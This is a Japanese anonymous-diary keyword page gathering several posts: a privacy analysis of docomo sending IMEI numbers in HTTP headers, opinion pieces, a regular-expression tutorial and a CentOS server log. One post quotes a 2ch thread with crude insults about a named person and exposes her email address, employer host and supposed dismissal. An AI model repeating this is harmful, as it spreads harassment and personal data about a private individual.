「Ccc」を含む日記 RSS

はてなキーワード: Cccとは

2011-10-19

docomoがIMEIを送出!のどこが問題なのか。素人が考えてみた。

今年冬以降に発売されるandroid端末のメディアプレイヤーHTTPヘッダのUser-Agentおよび拡張ヘッダにIMEI番号が含まれるということが分かり、騒動となった。

カレログapplogに続きNTTドコモが参戦? - http://togetter.com/li/202490

NTT docomo IMEI垂れ流し問題 http://togetter.com/li/202536

まず、

(1)IMEI送出のソース

音楽動画 | サービス機能 | NTTドコモ

http://www.nttdocomo.co.jp/service/developer/smart_phone/service_lineup/music_movie/index.html

魚拓http://megalodon.jp/2011-1019-1834-56/www.nttdocomo.co.jp/service/developer/smart_phone/service_lineup/music_movie/index.html

こう記述されている。

Android端末の一部機種では、音楽動画コンテンツ再生するためのメディアプレイヤードコモプリインストールします。

メディアプレイヤープリインストールされる機種は2011年度下期モデル以降の主なAndroid端末となります

ユーザエージェント

メディアプレイヤーHTTP通信を行う際のUser-Agentヘッダは以下となります

User-Agent:<SPDOCOMO/2.0SP>[AAA](MP;[BBB];Android;[CCC];[DDD]);imei:[xxxxxxxxxxxxxxx];networkoperator:[yyyzz]<CR><LF

SP>:半角スペース

CR><LF>:改行コード

[]以外は固定値

AAA:機種名

BBB:メディアプレイヤーバージョン

CCCOSバージョン

DDDビルド番号

xxxxxxxxxxxxxxx[15桁]:IMEI

yyy[3桁]:Mobile Country Code

zz[2桁]:Mobile Network Code

HTTP通信時の拡張ヘッダ付加情報

メディアプレイヤーHTTP通信を行う際は、以下の拡張ヘッダが付与されます

x-dcmstore-imei:<SP>xxxxxxxxxxxxxxx<CR><LF

SP>:半角スペース

CR><LF>:改行コード

xxxxxxxxxxxxxxx[15桁]:IMEI


(2)IMEI番号とは何か

ケータイ用語の基礎知識http://k-tai.impress.co.jp/cda/article/keyword/43518.html

によれば、

携帯電話データ通信カードが1台ずつ持っている識別番号です。原則として、各端末は1台1台、異なる番号になっています

IMEIは、1台ずつに違う番号が割り振られていて、USIMカードなどを差し替えても変わることはありません。

とある

端末に固有の番号であるという認識でよいだろう。パソコンで言うMACアドレスのようなものだ。

問題の切り分け

重複する部分もあるが、いくつかの問題が含まれているように思える。

twitterで見られた反応をいくつか整理してみた。

(a)共通・不変のIDであること

これが最も大きい問題。twitterでIMEIってつぶやいている人の大半はこれを問題視している。

IMEI番号をそのまま送信している。

すなわち、コンテンツプロバイダ(CP)Aにも、CP-Bにも同じ番号が送信されている。

まり空間的に広く使われている。

CP-AとCP-BでIMEI番号を突き合せて、収集した情報リンクさせることができてしまう。

IMEI番号は端末に紐付けられている。

したがって端末を買い替えない限り番号は変わらない。

まり長い時間、追跡され続けるということだ。

時間軸にも空間軸にも広く共通のIDが使われ続ける。

これが問題。

(a-1)過去の事例

10年以上前から同じことが繰り返されているため、空間時間的に広い共通IDを使うことの「何が問題か」知りたいなら過去の事例を参照するとよい。

高木浩光氏による行動トラッキング歴史と境界線についての備忘録 http://togetter.com/li/197732

インターネットにおけるIDトレーサビリティ(2003年)高木浩光http://www.nic.ad.jp/ja/materials/iw/2003/main/ipmeeting/panel-takagi.pdf

Tracking Cookie - Symantec http://www.symantec.com/ja/jp/security_response/writeup.jsp?docid=2006-080217-3524-99

(b)機種変更中古端末での不安

まだIMEI送信機能付きandroid端末が発売されていないので、どういう実装か不明のため、これは想像上の懸念だ。

このIMEI番号送信機能は、おそらくDRMに利用することが目的の一つだろう。

特定の機種でのみ購入した音楽再生できる機能が組み込まれている可能性がある。

その場合機種変更をするとIMEI番号が変わるために購入したコンテンツを利用できなくなる可能性がある。

あるいは一人で二台以上の端末を所有する場合、どちらか一方の端末でしかコンテンツが利用できない可能性もある。

実際、iPhoneにおいて似た事例が発生していた。認証にUDID(端末固有ID)を用いていたアプリ機種変更ののちに使えなくなる事例があった。

また、それまで利用していた端末をオークション等で販売する可能性もある。

その場合、端末の新しい所有者が、古い所有者の購入したコンテンツを利用できてしまう可能性もある。

ただしこれらは想像上の懸念だ。

(c)セキュリティの問題

UserAgentまたは拡張ヘッダに記述されたIMEI番号をもとに認証を行うサイトの出現が懸念される。

参考:かんたんログインの事例 http://www.atmarkit.co.jp/fsecurity/rensai/keitaiweb02/keitaiweb01.html

そもそもIMEI番号の取得はかんたんだ。

友達不用意にその辺に放置した端末で「*#06#」と入力すれば取得できてしまう。

あるいは、動画の置いた罠サイトを用意して

ユーザアクセスさせればドコモがIMEIを送信してくれる。

送信される番号はどのサイトに対しても共通なので、他のサイトで使うことができる。

そしてなりすましも容易だ。

とか。

ここまでしてIMEI番号を送りたいドコモの狙い

恐らくDRMへの活用と広告への活用ではないか

ぼくよくわかんない><

終わりに。

プライバシに関する専門家でもないので、補足訂正おねがいしまーす。

あと、この問題を扱うに当たって、何を「個人情報」だとするのかとらえ方が人によって違うことに注意したほうが余計な労力を使わなくて済む、と思いまーす。

# 増田でははてな記法が一部使えますって。

# 非対応大杉イライラするわ♡

# 来年インターンシップ生で改善してよ。

2010-11-12

iTunes Store での映画レンタルツタヤゲオ

さて、ついにオンラインでの映画レンタルサービスが発表されましたね。

アップル日本iTunes Storeでも映画配信スタート

http://goo.gl/6nJsE

返却期限を過ぎて延滞金を取られたとか、借りた DVD に傷が付いてて見れなかったとか、そんな不便な経験をしたことがある人も多いんじゃないんでしょうか。

僕も、延滞金が保留になっててブラックリスト扱いされてるお店がありますw

オンラインなら、もうそんなことはないですね。

お値段も新作 500 円、旧作 300 円からとそんなに高くない (地方の店だとこれぐらいザラ)。

良いところたくさんのこのサービスの開始によって、影響を受けそうな映画館ツタヤとかゲオなんかが今後どうなるのかちょっと考えてみました。

映画館

ここはそんなに影響受けることはないんじゃないかと思います。

なぜなら、多くの映画ファンにとって「映画館で観る映画」と「家で DVD で観る映画」は別物だと思うからです。

あの大スクリーンに豪華な音響施設、映画を観るためだけの映画館という施設の魅力というか雰囲気、何よりいい映画場合、他の観客と感動を生で共有できる (マナーの悪い人もいますけどね…) という独特の味みたいなものがあります。

デパートの屋上でコーヒーカップに乗っても普通の楽しさですが、ディズニーランドで乗ると楽しさ 10 倍くらい増しません? あんな感じです。

最近3D 上映なんかでも差別化していますね。

メガネ無しでも映像が飛び出してくる時代はもうすぐそこです。

結論:

映画館は一種のアミューズメント施設なわけで、利便性を売りとしているオンラインレンタルとは競合しにくいかな。

ツタヤとかゲオ (実店舗型)

ここがキモです。

オンラインレンタルとお店でのレンタルを比べた場合

  • オンラインは延滞がない (お店不利)
  • オンラインは売り切れがない (お店不利)
  • オンラインはお店に良く必要がない。返しに行く必要がない、カードも要らない、入会金も要らない (お店に行くのとか面倒)

ツタヤとかゲオ涙目って感じですねw

でも僕は、少なくともツタヤはすぐ死ぬってことはないんじゃないかと思ってます。

iTunes Store ではおもしろい映画の提案はしてくれません (少なくとも今は)。

Music Store を見ても最新チャートがズラッと並んでいるだけで、今まで iTunes Store の方から音楽を提案してきたことは、機械的なレコメンド機能を覗いて皆無です。

つい先日脱税やらで恥ずかしい報道がされていましたが、やっぱり頭のいい人間はいるみたいで、ツタヤ最近こんな企画をやっています。

TSUTAYA発掘良品】100人の映画通が選んだ本当に面白い映画

http://goo.gl/FQBPp

名前でどういう企画かすぐわかりますね。

興味が出た方は、お店に行って返金対象の映画でもどうぞ。

今だったら『真実行方』。おもしろいですよ。

で、何が言いたいかというと、今後お店が生き残る道の一つとして「客に提案できる店」というのが考えられると思う。

映画通はおもしろい映画に飢えている。

年に何百本も映画を観てるツタヤの店員に「これおもしろいっすよ~^^」なんて言われたら、よほどのことがない限り興味が湧きません?

これは機械でできてる iTunes Store には決してできないこと。

それに、ゲオにもこれはできません。

ゲオレンタル料金の価格破壊ということで業界に参入してきたけど、映画というものは『観れる時間』という限られたパイがある。

これは時間なので、パイが増えることはまずあり得ない。

レンタル料金を下げたら、限られたパイの争奪戦になりいずれ立ち行かなくなるということがわからなかったのだろうか。

わからなかったから、あんなことしたんだろうけど。

当然だけど売上は下がって、お店は昔のようにヘンテコな作品を置いてお店を賑わすことが難しくなり、メジャー映画ドラマ韓流といったつまらないものばかりになってしまった。

個人的に、ゲオレンタル業界を潰した癌だと思ってます。

こんなめくらな商売をする会社に、驚くような対抗策が出せるとは思えない。

レンタルの次はポイント事業だし、やってることが全部 CCC (ツタヤ親会社) の後追い。

あー、ウザいから早く潰れないかなこの会社

結論:

お店に行く楽しみを提案できるのなら、この先数年は大丈夫だと思う。

たぶん。

2010-10-23

一番いい斉藤のり子

http://anond.hatelabo.jp/20101016001044

746 :dropdb:2008/08/25(月) 23:09:50 ID:QKiHbSS+0

2ちゃんねるに何かあると聞いてすっ飛んできました。

てめぇら人の顔とかデブ発言とかいい加減にしろよな。

744“「女」って自分容姿自意識過剰だよな”、だと?だからなんだ?

でっていう?人様、そして自分ののツラ構えに優越感もクソもあるか。

書ききれないので記事にした。これを読んで満足したらしょんべんしてねろ!

http://d.hatena.ne.jp/dropdb/20070118/p4

765 :名無しさん@ゴーゴーゴーゴー!:2008/08/26(火) 01:03:54 ID:dyYBPKJd0

本人かよwwwクソワロタwwwナイスデブwwww(SQL的な意味

766 :名無しさん@ゴーゴーゴーゴー!:2008/08/26(火) 01:21:26 ID:o/Vj1JD70

さすが中卒。さすが元ヒキニート。芳ばしさが違うwwwぶよぶよメタボ体型のこと気にしてたのかww

それより染色体の千切れた出目金みたいなツラをどうにかしろよwwwww笑えるwwww

16 :dropdb:2008/05/11(日) 17:10:31 ID:Em6YBCJB0

大漁でした。わたしも釣れてるんだけど、ここにエサがあったから。

21 :名無しさん総合案内で板設定変更の議論中:2008/05/11(日) 17:39:37 ID:Em6YBCJB0

なぐれよwほら 私のブログひらいたディスプレイなぐれw

241 :斉藤のり子[123abc@csc.jp]:10/08/20 17:36 HOST:nwproxy11.nw.ccc.co.jp

対象区分:[個人・三種]優先削除あり

削除対象アドレスhttp://kamome.2ch.net/test/read.cgi/net/1279794454/98

http://kamome.2ch.net/test/read.cgi/net/1279794454/96

http://kamome.2ch.net/test/read.cgi/net/1279794454/95

http://kamome.2ch.net/test/read.cgi/net/1279794454/94

http://kamome.2ch.net/test/read.cgi/net/1279794454/85

http://kamome.2ch.net/test/read.cgi/net/1279794454/82

削除理由・詳細・その他: ガイドライン抵触【個人名・三種】【私生活情報】【連続投稿

これらには本名と利用サービス中のアカウント

ニックネームが公開され、個人が特定できる状態。

また、第三者の確認できないプライベート情報

記入されており、それらは事実無根誹謗中傷

106 :dropdb ◆7HgcmcULOE :2010/08/21(土) 14:07:33 ID:QIAH/KY7P

>>105 家じゃ規制されてるもんで。あと会社の人は知ってるよ。

会社にjituzonが電話かけたというので業務に支障来たすなら削除依頼だしとけば、と。

ちなみにご飯食べに行く前で、それはタイムカード切った後の書き込み。これ豆知識な。

108 :名無しさん@ゴーゴーゴーゴー!:2010/08/21(土) 15:27:35 ID:mIoGojHBP

ここの会社って2ちゃんねるの閲覧・書き込みが

規制されていたと思ったけど、復活したのかね?

あとタイムカード切ったとかって上のほうでかいてあるけど

いかにも社外の人の表現方法だね

118 :dropdb ◆7HgcmcULOE:2010/08/23(月) 09:12:25 ID:bNxAiUZFP

私みたいな一般社員ごときで会社の評判は落ちないよ。

むしろ、インターネットに寛容で社員の状況を理解したうえで

よい判断をしてもらったと思ってるよ。



しかしブクマに[次の転職先]タグがあるところを見るとCCCは辞めさせられたようだ。

http://b.hatena.ne.jp/webkit/

次の転職先はNetflixか。

2009-07-30

アンタッチャブル山崎は全盛期のビートたけしより凄い

ロンドンハーツ実名アンケート! 芸人リアル好感度調査」(前編,後編)は今が旬のブラマヨアンタッチャブル山崎が活躍して非常に面白かった。

番組はこんな感じ : http://www.tv-asahi.co.jp/londonhearts/contents/backnumber/cur/img/1_6.JPG

カメラは「アメトーーク」と同じロケ手法を使ったのかな。同じテレ朝の加持さんの番組だし。芸人のガヤや動きが漏らさず収められているので、実力のある芸人にとっては非常にやりやすそうだった。

その中で山崎がすっごいカブせまくってて、、すごい、もの凄い才能があるわ。。

まず他の芸人カブせ方はいろいろあって、こんな感じ。

ダウンタウン明石家、紳助

AAA → BBB、って何でやねん」 (やや乗り突っ込み気味)


とんねるず

AAAでBBB、みたいな」 (バブル期は「AAA、みたいな」のみ)


ホリケン

(前に出てくる)「AAA! → BBB! → CCC! → DDD! → EEE!」(後ろに下がる)


ビートたけしの全盛期

AAA → BBB → CCCだ、この野郎!(肩をヒクっとさせる) / DDD → EEE → FFFだって、ふざけんな馬鹿!(肩をヒクっとさせる)/


■今回のロンハーでのアンタッチャブル山崎

AAA(笑) → BBB(爆笑) → CCC(淳振る) → DDD(笑) → EEE(DDDの被せ) → FFF(笑) → GGGHHH(爆笑) → III → JJJ(笑) → KKK(笑) → LLL(笑) → MMM(LLLの被せ)(笑)


司会のロンブー淳がCCC以降に絡みながら話を引き出していく感じ。(笑)は笑いが起こり、(爆笑)は爆笑が起こった地点。

全盛期のたけしでも/の部分で一息入れてる感じがあるんだけど、山崎は「ブルドーザーみたいに持ってっちゃう(by東野)」。

東野は「さんまさんタイプ」って言ってたけど、こういうカブせ方を見てるとたけしタイプなのかも。

最近までのレッドカーペット的な短いお笑い流行りが終わった今このタイミング山崎に注目が集まってるってのが非常に面白い。そんでそれを迷わずすくい上げて放送してくれる番組もありがたい。

2008-09-23

正規表現の機能の覚書き

はじめに

「はじめての正規表現」ホッテントリ入りしていますが、

導入としては、何に使うのかがわかりやすくて良いのではないかと思います。

あれを見て、基本機能をまとめてみたくなったので、正規表現の基本的な機能について書いてみます。

正規表現が初めてという人は「はじめての正規表現」を先に見たほうがいいと思います。)

例では「検索」か「置換」をするものとして話を進めていきます。

「はじめての正規表現」が実例を中心にしたのに対して、こちらは機能を中心に書きます)

正規表現は、プログラミング言語やその他のツールなど、それぞれで微妙な違い(方言)があるので、その点には注意が必要です。

(表記法が違ったり、ここに紹介する機能がサポートされていなかったり、逆に紹介していない機能をサポートしていたりする場合があります)

メタ文字とリテラル文字

正規表現には、メタ文字とリテラル文字というものがあります。

メタ文字とは機能を持つ文字で、『.』『*』『*?』といったものが当てはまります。

リテラル文字は「文字それ自体」と解釈される文字で、『 』『a』『<』といったものです。

アルファベットや数字はリテラル文字なので、

「検索する文字列:『egg』 置換する文字列:『chicken』」

などとすれば、正規表現を使わない置換と同じ効果になります。

なお、検索して検索文字列が当てはまることを「マッチする」と言います。

メタ文字に使われている文字を検索したい場合は、直前に『\』を置きます。(これを「エスケープ」と呼びます。)

.*?^$()[]{}』などがメタ文字です。

$100』を検索したければ、『\$100』とすればいいということになります。

(『\』は環境によって、半角の『¥』『\』のどちらかになります。)

言語、ツール、モードなどによっては『@/#』もエスケープが必要です。

また、『\』自体は常にエスケープが必要です。

繰り返しについて

メタ文字意味
?直前の文字を0回または1回繰り返す
*直前の文字を0回以上繰り返す
+直前の文字を1回以上繰り返す
{n}直前の文字をn回繰り返す
{n,}直前の文字をn回以上繰り返す
{n,m}直前の文字をn〜m回繰り返す

これらのメタ文字は「量指定子」といって、直前の文字の繰り返しを意味します。

*』は「任意の文字を0回以上繰り返す」とありますが、

「0回以上繰り返す」とは、「全く何もなくてもいいし、いくらあってもいい」という意味です。

よって、『?』は「あってもなくてもいい」、『+』は「1つ以上あればいい」と解釈できます。

colou?r』は『u』があってもなくてもいいので「colorかcolour」ということになります。

{n}』は、たとえば『-{15}』なら、「ハイフン(-)が15個続くもの」となります。

-{10,}』なら「ハイフン(-)が少なくともは10個続くもの(多いのはいくらでも)」、

-{10,15}』なら「ハイフン(-)が10〜15個続くもの」となります。

また、複数の文字を繰り返したい場合は括弧で囲みます。

(Gang){2}Dance』は『GangGangDance』と同じ意味になります。

欲張りと非欲張り

メタ文字意味
?直前の文字を0回または1回繰り返す(欲張り)
*直前の文字を0回以上繰り返す(欲張り)
+直前の文字を1回以上繰り返す(欲張り)
??直前の文字を0回または1回繰り返す(非欲張り)
*?直前の文字を0回以上繰り返す(非欲張り)
+?直前の文字を1回以上繰り返す(非欲張り)

「欲張り」とは、「なるべく多くの文字に適用しようとする」、

「非欲張り」とは、「なるべく少ない文字に適用しようとする」という意味です。

対象文字列が『aaa bbb ccc』だとします。

すると、検索する文字列が『a+』なら『aaa bbb ccc』、

検索する文字列が『a+?』なら『aaa bbb ccc』が置換対象となります。

(「すべてを検索/置換」する場合は当てはまりません)

「『a』を1回以上繰り返す」ということは、『a』でも『aa』でも『aaa』でもマッチすることになりますが、

「欲張り」かそうでないかで実際のマッチは変わってくるわけです。

文字クラス

文字クラス意味
[abc]a、b、cのいずれか
[a-z]a〜zのいずれか
[^a]a以外の文字(改行文字を含めaを除いた全て)
[^a-z]a〜z以外の文字(改行文字を含めa〜zを除いた全て)

文字クラスは『a』や『<』などの代わりに文字の種類を指定するものです。

a〜eのどれかの1文字という指定をしたい場合に『[abcde]』や『[a-e]』といった指定ができます。

また、文字クラス内の最初に『^』をつけて『[^abc]』などとすれば、

「a、b、c以外の何の文字でもいい」とすることができます。

間違いやすいのが「そこにaもbもcも存在しなければいい」という意味ではないということです。

文字クラスは「なんらかの1文字の身代わり」なので、それは何か1文字を表しています。

-』は範囲を表すのに使用します。そのため、『[;-%]』で「; - %のどれか」を表現することはできません。

-』を含める場合は必ず最初に持ってきます。すると『[-;%]』という風になります。

「; - %以外の文字」としたいならば『[^-;%]』とします。

[』や『]』、『\』を文字クラスに含めたい場合は直前に『\』を置いてエスケープします。

「『[』または『]』」であれば『[\[\]]』となります。

^』やその他の記号は先頭に置かなければいいので、エスケープの必要はありません。

.』は「改行以外のすべての文字」を表しています。

改行は『\n』で表されるため、『.』は『[^\n]』と等価です。

(ただし、正規表現モードによっては「改行も含めすべての文字」を表す場合もあります)

文字クラスにはいくつかの略記法があります。

文字クラス意味同等の表記
\w記号や空白ではない文字すべて[a-zA-Z0-9_]
\W記号や空白ではない文字以外[^a-zA-Z0-9_]
\d数字[0-9]
\D数字以外[^0-9]
\sタブや改行など、空白類とされる文字[ \t\n\r\f\v]
\Sタブや改行など、空白類とされる文字以外[^ \t\n\r\f\v]

(*間違って『\s』の同等の表記にも『^』がついていたのを修正しました)

(『\t』はタブ、『\v』は垂直タブ、『\r』はキャリッジリターン(CR、改行の一種)、『\f』は改ページ)

これらは『[a-fA-F\d]』のようにすることで、文字クラスブラケット角括弧)内に含めることができます。

「同等の表記」と書きましたが、文字をユニコードして扱うツールの場合は、上記が同等の表記にはならず、

たとえば『\d』であれば漢数字が含まれてしまったりするので注意が必要です。

選択

(A|B)』は「AまたはB」という意味です。(これを「選択」と呼びます)

(A|B|C)』なら「A、B、Cのどれか」という意味になります。

(gray|grey)』は『gr[ae]y』とほぼ等価となります。

[ae]』は「1文字のaまたはb」という意味になるので結果的に、ほぼ同じ効果が得られるわけです。

(ただし、これはgrayとgreyの違いが1文字だけだったためで、そうでない場合はこうはなりません)

気をつけなければならないのは、その順番です。

(Java|JavaScript)』で検索すると、対象文字列内に存在する『Java』と『JavaScript』すべてマッチするように思えますが、

JavaScript』は選択肢の前(左)のほうにある『Java』が当てはまってしまうため、

Script』部分にはマッチせず、『JavaScript』というマッチになってしまいます。

選択では左側が優先されるので、『(JavaScript|Java)』とすることでこの問題は防げます。

言語、ツールによっては、この問題が起こらない=順番関係なく長いほうを適用しようとするものもあります)

アンカー

メタ文字意味
^行頭
$行末
\b単語境界
\B単語境界以外

リテラル文字や文字クラスが「文字自体」にマッチするのと違い、アンカーは「位置」にマッチします。

検索する文字列が『^』、置換する文字列が『>』なら、「行頭に『>』を挿入する」という意味になります。

単語境界とは、「単語を構成する文字=『\w』に相当する文字」と「単語を構成しない文字=『\W』に相当する文字」の間の位置のことです。

regular expression.』なら『^regular^ ^expression^.』の4ヶ所に当てはまります。

\b.*?\b』とすれば単語すべてにマッチさせることができます。

しかし、「単語構成文字」が基準なので、『JavaScript』は1単語でも、『L?K?O』は1単語とは見なされません。

アンカーは位置にマッチするので、文字クラス内に含めることはできません。

^』や『$』を文字クラスに含めても、その文字自体という意味になります。

つまり、『[^$]』なら「行頭または行末」ではなくて、「『$』文字以外」ということになります。

また、『\b』は文字クラス内のみ、バックスペース文字を表す場合が多いようです。

大文字と小文字

正規表現には、大抵「大文字と小文字を無視する」というオプションがあります。

これが入っていないと「『to:』で検索しても『To:』にマッチしない」といったことが起こります。

言語、ツールによっては、正規表現の一部にのみ大文字と小文字を無視する機能があるものもあります。

例えばRubyでは『(?i:foo)』という形式を使用できます。

(?i:Ruby) Python』という表現なら、『ruby Python』や『RuBy Python』にはマッチしますが、

RUBY PYTHON』にはマッチしない、ということになります。


キャプチャと後方参照

括弧内に入れた文字列は、ある場所に記憶されます。(「キャプチャ」と呼びます)

これは『\n』という表記を使って呼び出すことができます。(nは数字)

同じ単語が2連続で出てくるもの(『merry merry』みたいなもの)を探すという場合、

\b(\w+)\b \1』とすることができます。(ここで使った『\1』を「後方参照」と呼びます)

こうすると、『\1』の部分は、『(\w+)』を使ってマッチしたものと同じものがあるものとして解釈されることになります。

括弧を何個も使う場合は、左の括弧から順に『\1』、『\2』、『\3』となります。

また、後方参照は置換文字列にも使うことができます。

つまり置換文字列内に『\1』と書けば1番目の括弧、

\2』と書けば2番目の括弧でキャプチャされたものがそこに入ることになります。

この場合、言語、ツールによっては『\n』ではなく『$n』を使う場合もあるようです。

括弧は『(foo|bar)』という選択や、『(humbert){2}』というグループ化など、キャプチャ以外にも使われます。

そのため、キャプチャに使われた数字をわかりやすくするために、キャプチャしない括弧もあります。

それには『(?:foo)』という表記を使います。

前の例であれば『(?:foo|bar)』と『(?:humbert){2}』になります。

先読みと否定先読み

「その位置の続くものを確認する」というのが「先読み」です。

対象文字列を『JavaScript Java Applet』として考えてみましょう。

Java(?=Script)』は「『Script』が後に続く『Java』」にマッチします。

(?=Script)』の部分が、「『Script』が後に続くかどうか」をチェックしているので、

後ろに『Script』が続かない単なる『Java』にはマッチしません。

(?=Script)』の部分は「後に『Script』が続く位置」にマッチしていることになります。

この例のマッチは『JavaScript Java Applet』となります。

逆に、『Java(?!Script)』とすれば、「『Script』が後に続かないかどうか」をチェックするので、

後ろに『Script』が続かない単なる『Java』にマッチさせることができます。

こちらは「否定先読み」と呼びます。

この例のマッチは『JavaScript Java Applet』となります。

言語、ツールによっては、「その位置の前にあるものを確認する」という「戻り読み」「否定戻り読み」がサポートされているものもあります。

(これは『(?<=foo)』『(?<!=bar)』という形で使います)

先読みや否定先読み、戻り読みなどをまとめて「前後読み」と呼びますが、

前後読みは位置にマッチするため、戻り読みは先読みとは通常書くべき位置が逆になります。

(?<Mozilla )Firefox』とすれば、『Mozilla 』に続く『Firefox』のみにマッチします。

強欲な量指定子とアトミックなグループ

メタ文字意味
?+直前の文字を0回または1回繰り返す(強欲)
*+直前の文字を0回以上繰り返す(強欲)
++直前の文字を1回以上繰り返す(強欲)

上のほうで?、*、+は「欲張り」だと書きましたが、「欲張り」な量指定子も“ゆずる”ことがあります。

対象文字列が『"something"』だとして、検索文字列".*"』はこれにマッチします。

しかし、強欲な量指定子*+』に置き換えて『".*+"』とするとマッチしません。

これはなぜかというと、「欲張り」な量指定子を使った『.*』の部分は、

最後の『"がなければ『something"』にマッチすることになりますが、

正規表現の最後に『"』があるために、対象文字列の最後の『"』をゆずっているのです。

しかし、強欲な量指定子*+』はゆずることがないため、

.*+』の部分が『something"』にマッチしてしまい、

正規表現の最後の『"』にはマッチできなくなるのです。

強欲な量指定子サポートしていない言語、ツールでも、「アトミックなグループ」というものが使える場合があります。

アトミックなグループでは『(?>foo)』という表記を使います。

\w?+』なら『(?>w+)』、『\w*+』なら『(?>w*)』、『\w++』なら『(?>w+)』で代替できます。

意図しないマッチに気をつける

*』の「直前の文字の0回以上の繰り返し」はよく気をつけないと、間違ったものにまでマッチしてしまいます。

リテラル文字と文字クラスは「文字自体」にマッチすると書きましたが、

-*』というような表現は、『-』や『--------』だけでなく、

『』つまり、空文字列にもマッチしてしまうのです。

なぜそうなるかというと、「0回以上」ということは「なくてもいい」ということだからです。

文字列へのマッチは、実質上「位置」へのマッチと似たようなものになります。

検索文字列を『-*』として一括置換すると、

-』や『--------』が置換されるだけでなく、

-』が存在しないすべての場所に置換文字列が挿入されてしまうことになります。

正しい正規表現を書くためには、「どう書けばマッチするか」だけでなく、

「どういう場合にマッチしなければいいか」についても考えてみる必要があります。

ワイルドカードの『*』≒正規表現の『.*

「はじめての正規表現」で、

ワイルドカードの『*』=正規表現の『.*

とありますが、これは厳密には微妙に違います。

ファイルグロブでは《*》は「任意の文字を1回以上繰り返す」

つまり、1文字以上あればなんでもいいということになります。

この意味だと、《*.*》は "foo." や ".bar" は当てはまりません。

しかし、「0回以上」であればマッチすることになります。

正規表現では「1回以上繰り返す」は、《+》なので、

「任意の文字を1回以上繰り返す」は『.+』となります。

よって、《*.*》とほぼ等価な表現は『.+\..+』となります。

これは私の勘違いでした。miauさんご指摘ありがとうございます。

「*.*」は foo. にマッチするはずだし、.barマッチしないのは、「*」がドットファイルマッチしないっていう特殊ルールがあるから・・・ですよね?

ワイルドカード(ファイルグロブ)の「*」って - miau's blog


ファイルグロブの《*》は、「0回以上繰り返す(ただし例外として、一番最初のドットは表せない)」ということのようです。

*.*》とほぼ等価な表現は、正しくは『(?!\.).*\..*』となります。


最後に

正規表現を使うにあたっては、検索対象がどのようなものか知っておくことが重要です。

\d{4}[-/]\d{1,2}[-/]\d{1,2}』で日付と思われる文字列を検索することができますが、

これは『00-0000-00-00』というものにもマッチしてしまいます。(『00-0000-00-00』)

かしこれを厳密にしようと思えばかなり複雑な正規表現になってしまうので、

どの程度の厳密さが必要かを把握しておくことが肝要と言えるでしょう。

冒頭にも書きましたが、正規表現は、言語やツールによって微妙な違いがあるので、

その辺りについては各言語、ツールの説明を参照してください。

本格的に学びたい場合はオライリー「詳説 正規表現」おすすめです。

(ただ、この本はプログラミングのことを多少は知らないと難しいかもしれません)

また、PHP正規表現チェッカーですぐに試せるようです。

関連リンク



反応への応答

b:id:K-Onoさんの

なぜ増田? これでidデビューしてもいいんじゃないのか?

について。

実ははてなダイアリーもある(d:id:sleepwlk)んですが、長いこと書いてなかったので、

匿名ダイアリーのほうが多くの人に見てもらえるのではないかと思ってこちらに書いてみました。

*2008-09-23 誤記の修正と、一部加筆しました。

*2008-09-24 ワイルドカード記述を修正しました。

*2008-09-24 文字クラス記述の間違いを修正しました。b:id:FunnyBunnyDizzyさんご指摘ありがとうございます。

*2008-09-24 「意図しないマッチに気をつける」を追加しました。

2008-04-05

さくらの旧(?)専用サーバ CentOS 4.6 を Linux-Vserver に入れ替えてみた

前置き

契約直後の初期状態

  • ホスト名をsakura2とした。
  • sshd と vsftpd が動いていた。
[admin@sakura2 ~]$ uname -a
Linux sakura2 2.6.9-67.0.4.ELsmp #1 SMP Sun Feb 3 07:08:57 EST 2008 i686 athlon i386 GNU/Linux
[admin@sakura2 ~]$ cat /etc/issue.net
CentOS release 4.6 (Final)
Kernel \r on an \m

CentOS 5 へのアップグレード(?)

中身の整理
  • なるべく最小構成に近い最新のCentOS4.6にしてみる。
# yum update
# yum remove emacs emacspeak emacs-leim emacs-common
# yum remove NetworkManager
# yum remove bluez-bluefw bluez-hcidump bluez-libs bluez-utils
# yum remove cups cups-libs
# yum remove irda-utils isdn4k-utils pcmcia-cs wireless-tools
# yum remove wpa_supplicant gpm xinetd
# yum remove ppp nfs-utils lksctp-tools autofs
# yum remove xorg-x11-libs
# yum remove selinux-policy-targeted
# yum remove vsftpd
# yum clean all
CentOS 5 にアップグレード(?)してみる
[admin@sakura2 ~]$ uname -a
Linux sakura2 2.6.9-67.0.7.ELsmp #1 SMP Sat Mar 15 06:54:55 EDT 2008 i686 athlon i386 GNU/Linux
# rpm -Uvh http://mirror.centos.org/centos/5/os/i386/CentOS/centos-release-notes-5.1.0-2.i386.rpm \
http://mirror.centos.org/centos/5/os/i386/CentOS/centos-release-5-1.0.el5.centos.1.i386.rpm
[root@sakura2 admin]# cat /etc/issue.net
CentOS release 5 (Final)
Kernel \r on an \m

# yum update glib procps udev iptables
# rpm -Uvh --nodeps http://mirror.centos.org/centos/5/os/i386/CentOS/initscripts-8.45.17.EL-1.el5.centos.1.i386.rpm \
http://mirror.centos.org/centos/5/os/i386/CentOS/mkinitrd-5.1.19.6-19.i386.rpm
# rpm -Uvh http://mirror.centos.org/centos/5/os/i386/CentOS/e2fsprogs-1.39-10.el5.i386.rpm \
http://mirror.centos.org/centos/5/os/i386/CentOS/e2fsprogs-libs-1.39-10.el5.i386.rpm \
http://mirror.centos.org/centos/5/os/i386/CentOS/e2fsprogs-devel-1.39-10.el5.i386.rpm
# rpm -Uvh http://mirror.centos.org/centos/5/os/i386/CentOS/kernel-2.6.18-53.el5.i686.rpm
[admin@sakura2 ~]$ uname -a
Linux sakura2 2.6.18-53.el5 #1 SMP Mon Nov 12 02:22:48 EST 2007 i686 athlon i386 GNU/Linux

# yum clean all

[root@sakura2 admin]# yum --version
Loading "fastestmirror" plugin
2.4.3
[root@sakura2 admin]# rpm --version
RPM version 4.3.3
# yum update
Error: Missing Dependency: python-abi = 2.3 is needed by package python-elementtree
  • 解決法がわからないので放置

Linux-Vserver の導入

# vi /etc/ssh/sshd_config
# /etc/init.d/sshd restart
# vi /etc/yum.repos.d/dhozac-vserver.repo
# yum update kernel
# yum install util-vserver{,-core,-lib,-sysv,-build}
[admin@sakura2 ~]$ uname -a
Linux sakura2 2.6.22.19-vs2.3.0.34.1 #1 SMP Mon Mar 17 05:32:04 EDT 2008 i686 athlon i386 GNU/Linux

ホストOS環境の整備

# yum update bash screen rsync
# /etc/init.d/iptables save
# /etc/init.d/iptables start
# cat /etc/sysconfig/iptables

# Generated by iptables-save v1.3.5 on Mon Mar 24 19:57:07 2008
**filter
:INPUT ACCEPT [1067:96557]
